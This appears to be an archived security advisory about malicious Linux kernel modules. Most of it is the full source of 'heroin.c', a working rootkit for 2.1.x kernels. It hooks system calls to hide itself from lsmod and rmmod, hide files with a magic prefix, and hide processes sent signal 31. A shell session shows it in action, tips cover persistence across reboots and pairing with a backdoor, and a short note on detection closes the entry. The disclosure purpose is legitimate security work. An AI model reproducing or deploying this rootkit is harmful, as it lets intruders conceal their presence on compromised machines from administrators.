COMMAND

    malicious Linux modules

SYSTEMS AFFECTED

    Linux (2.1.x kernels)

PROBLEM

    Runar Jensen posted following.  As Halflife demonstrated in Phrack
    50 with his linspy project, it is trivial to patch any system call
    under Linux from within a module. This means that once your system
    has been  compromised at  the root  level, it  is possible  for an
    intruder to  hide completely  _without_ modifying  any binaries or
    leaving  any  visible  backdoors  behind.  Because  such tools are
    likely to be  in use within  the hacker community  already, Jensen
    decided to publish a piece  of code to demonstrate the  potentials
    of a malicious module.

    The following piece  of code is  a fully working  Linux module for
    2.1  kernels  that  patches  the  getdents(),  kill(),  read() and
    query_module() calls.  Once loaded,  the module  becomes invisible
    to lsmod and  a dump of  /proc/modules by modifying  the output of
    every  query_module()  call  and   every  read()  call   accessing
    /proc/modules.  Apparently rmmod also calls query_module() to list
    all modules before attempting to remove the specified module,  and
    will therefore claim  that the module  does not exist  even if you
    know its name.  The output of  any getdents() call  is modified to
    hide  any  files  or  directories  starting  with  a given string,
    leaving them  accessible only  if you  know their  exact names. It
    also hides  any directories  in /proc  matching pids  that have  a
    specified flag set in its internal task structure, allowing a user
    with root access to hide any process (and its children, since  the
    task structure is duplicated when  the process does a fork()).  To
    set  this  flag,  simply  send  the  process  a signal 31 which is
    caught and handled by the patched kill() call.

    To demonstrate the effects...

        [root@image:~/test]# ls -l
        total 3
        -rw-------   1 root     root         2832 Oct  8 16:52 heroin.o
        [root@image:~/test]# insmod heroin.o
        [root@image:~/test]# lsmod | grep heroin
        [root@image:~/test]# grep heroin /proc/modules
        [root@image:~/test]# rmmod heroin
        rmmod: module heroin not loaded
        [root@image:~/test]# ls -l
        total 0
        [root@image:~/test]# echo "I'm invisible" > heroin_test
        [root@image:~/test]# ls -l
        total 0
        [root@image:~/test]# cat heroin_test
        I'm invisible
        [root@image:~/test]# ps -aux | grep gpm
        root       223  0.0  1.0   932   312  ?  S   16:08   0:00 gpm
        [root@image:~/test]# kill -31 223
        [root@image:~/test]# ps -aux | grep gpm
        [root@image:~/test]# ps -aux 223
        USER       PID %CPU %MEM  SIZE   RSS TTY STAT START   TIME COMMAND
        root       223  0.0  1.0   932   312  ?  S   16:08   0:00 gpm
        [root@image:~/test]# ls -l /proc | grep 223
        [root@image:~/test]# ls -l /proc/223
        total 0
        -r--r--r--   1 root     root            0 Oct  8 16:53 cmdline
        lrwx------   1 root     root            0 Oct  8 16:54 cwd -> /var/run
        -r--------   1 root     root            0 Oct  8 16:54 environ
        lrwx------   1 root     root            0 Oct  8 16:54 exe -> /usr/bin/gpm
        dr-x------   1 root     root            0 Oct  8 16:54 fd
        pr--r--r--   1 root     root            0 Oct  8 16:54 maps
        -rw-------   1 root     root            0 Oct  8 16:54 mem
        lrwx------   1 root     root            0 Oct  8 16:54 root -> /
        -r--r--r--   1 root     root            0 Oct  8 16:53 stat
        -r--r--r--   1 root     root            0 Oct  8 16:54 statm
        -r--r--r--   1 root     root            0 Oct  8 16:54 status
        [root@image:~/test]#

    The implications should  be obvious. Once  a compromise has  taken
    place, nothing can  be trusted, the  operating system included.  A
    module     such     as     this     could     be     placed     in
    /lib/modules/<kernel_ver>/default to force  it to be  loaded after
    every reboot, or  put in place  of a commonly  used module and  in
    turn  have  it  load  the  required  module  for an added level of
    protection.  Combined with a reasonably obscure remote backdoor it
    could  remain  undetected  for  long  periods  of  time unless the
    system administrator knows  what to look  for. It could  even hide
    the  packets  going  to  and  from  this  backdoor from the kernel
    itself to prevent a local packet sniffer from seeing them. Exploit
    code follows:

    /*
     * heroin.c
     *
     * Runar Jensen <zarq@opaque.org>
     *
     * This Linux kernel module patches the getdents(), kill(), read()
     * and  query_module() system  calls to  demonstrate the potential
     * dangers  of  the  way  modules  have full access to the  entire
     * kernel.
     *
     * Once  loaded,  the  module  becomes  invisible  and can not  be
     * removed with rmmod. Any files or directories starting with  the
     * string defined by MAGIC_PREFIX appear to disappear, and sending
     * a signal 31 to any process as root effectively hides it and all
     * its future children.
     *
     * This  code should  compile cleanly  and work  with most (if not
     * all) recent 2.1.x kernels, and has been tested under 2.1.44 and
     * 2.1.57.  It will not  compile as is under 2.0.30, since  2.0.30
     * lacks the query_module() function.
     *
     * Compile with:
     *   gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c
     */

    #include <linux/fs.h>
    #include <linux/module.h>
    #include <linux/modversions.h>
    #include <linux/malloc.h>
    #include <linux/unistd.h>
    #include <sys/syscall.h>

    #include <linux/dirent.h>
    #include <linux/proc_fs.h>
    #include <stdlib.h>

    #define MAGIC_PREFIX "heroin"

    #define PF_INVISIBLE 0x10000000
    #define SIGINVISI 31

    int errno;

    static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
    static inline _syscall2(int, kill, pid_t, pid, int, sig);
    static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);
    static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t, bufsize, size_t *, ret);

    extern void *sys_call_table[];

    int (*original_getdents)(unsigned int, struct dirent *, unsigned int);
    int (*original_kill)(pid_t, int);
    int (*original_read)(int, void *, size_t);
    int (*original_query_module)(const char *, int, void *, size_t, size_t *);

    int myatoi(char *str)
    {
            int res = 0;
            int mul = 1;
            char *ptr;

            for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
                    if(*ptr < '0' || *ptr > '9')
                            return(-1);
                    res += (*ptr - '0') * mul;
                    mul *= 10;
            }
            return(res);
    }

    void mybcopy(char *src, char *dst, unsigned int num)
    {
            while(num--)
                    *(dst++) = *(src++);
    }

    int mystrcmp(char *str1, char *str2)
    {
            while(*str1 && *str2)
                    if(*(str1++) != *(str2++))
                            return(-1);
            return(0);
    }

    struct task_struct *find_task(pid_t pid)
    {
            struct task_struct *task = current;

            do {
                    if(task->pid == pid)
                            return(task);

                    task = task->next_task;

            } while(task != current);

            return(NULL);
    }

    int is_invisible(pid_t pid)
    {
            struct task_struct *task;

            if((task = find_task(pid)) == NULL)
                    return(0);

            if(task->flags & PF_INVISIBLE)
                    return(1);

            return(0);
    }

    int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
    {
            int res;
            int proc = 0;
            struct inode *dinode;
            char *ptr = (char *)dirp;
            struct dirent *curr;
            struct dirent *prev = NULL;

            res = (*original_getdents)(fd, dirp, count);

            if(!res)
                    return(res);

            if(res == -1)
                    return(-errno);

    #ifdef __LINUX_DCACHE_H
            dinode = current->files->fd[fd]->f_dentry->d_inode;
    #else
            dinode = current->files->fd[fd]->f_inode;
    #endif

            if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
                    proc = 1;

            while(ptr < (char *)dirp + res) {
                    curr = (struct dirent *)ptr;

                    if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) ||
                            (proc && is_invisible(myatoi(curr->d_name)))) {

                            if(curr == dirp) {
                                    res -= curr->d_reclen;
                                    mybcopy(ptr + curr->d_reclen, ptr, res);
                                    continue;
                            }
                            else
                                    prev->d_reclen += curr->d_reclen;
                    }
                    else
                            prev = curr;

                    ptr += curr->d_reclen;
            }

            return(res);
    }

    int hacked_kill(pid_t pid, int sig)
    {
            int res;
            struct task_struct *task = current;

            if(sig != SIGINVISI) {
                    res = (*original_kill)(pid, sig);

                    if(res == -1)
                            return(-errno);

                    return(res);
            }

            if((task = find_task(pid)) == NULL)
                    return(-ESRCH);

            if(current->uid && current->euid)
                    return(-EPERM);

            task->flags |= PF_INVISIBLE;

            return(0);
    }

    int hacked_read(int fd, char *buf, size_t count)
    {
            int res;
            char *ptr, *match;
            struct inode *dinode;

            res = (*original_read)(fd, buf, count);

            if(res == -1)
                    return(-errno);

    #ifdef __LINUX_DCACHE_H
            dinode = current->files->fd[fd]->f_dentry->d_inode;
    #else
            dinode = current->files->fd[fd]->f_inode;
    #endif

            if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1)
                    return(res);

            ptr = buf;

            while(ptr < buf + res) {
                    if(!mystrcmp(MAGIC_PREFIX, ptr)) {
                            match = ptr;
                            while(*ptr && *ptr != '\n')
                                    ptr++;
                            ptr++;
                            mybcopy(ptr, match, (buf + res) - ptr);
                            res = res - (ptr - match);
                            return(res);
                    }
                    while(*ptr && *ptr != '\n')
                            ptr++;
                    ptr++;
            }

            return(res);
    }

    int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret)
    {
            int res;
            int cnt;
            char *ptr, *match;

            res = (*original_query_module)(name, which, buf, bufsize, ret);

            if(res == -1)
                    return(-errno);

            if(which != QM_MODULES)
                    return(res);

            ptr = buf;

            for(cnt = 0; cnt < *ret; cnt++) {
                    if(!mystrcmp(MAGIC_PREFIX, ptr)) {
                            match = ptr;
                            while(*ptr)
                                    ptr++;
                            ptr++;
                            mybcopy(ptr, match, bufsize - (ptr - (char *)buf));
                            (*ret)--;
                            return(res);
                    }
                    while(*ptr)
                            ptr++;
                    ptr++;
            }

            return(res);
    }

    int init_module(void)
    {
            original_getdents = sys_call_table[SYS_getdents];
            sys_call_table[SYS_getdents] = hacked_getdents;

            original_kill = sys_call_table[SYS_kill];
            sys_call_table[SYS_kill] = hacked_kill;

            original_read = sys_call_table[SYS_read];
            sys_call_table[SYS_read] = hacked_read;

            original_query_module = sys_call_table[SYS_query_module];
            sys_call_table[SYS_query_module] = hacked_query_module;

            return(0);
    }

    void cleanup_module(void)
    {
            sys_call_table[SYS_getdents] = original_getdents;
            sys_call_table[SYS_kill] = original_kill;
            sys_call_table[SYS_read] = original_read;
            sys_call_table[SYS_query_module] = original_query_module;
    }

SOLUTION

    So how  can it  be detected?  In this  case, since  the number  of
    processes is limited, one could try to open every possible process
    directory in  /proc and  look for  the ones  that do  not show  up
    otherwise. Using  readdir() instead  of getdents()  will not work,
    since it appears  to be just  a wrapper for  getdents(). In short,
    trying to locate something like this without knowing exactly  what
    to  look  for  is  rather  futile  if done in userspace...  2.0.34
    fixed this.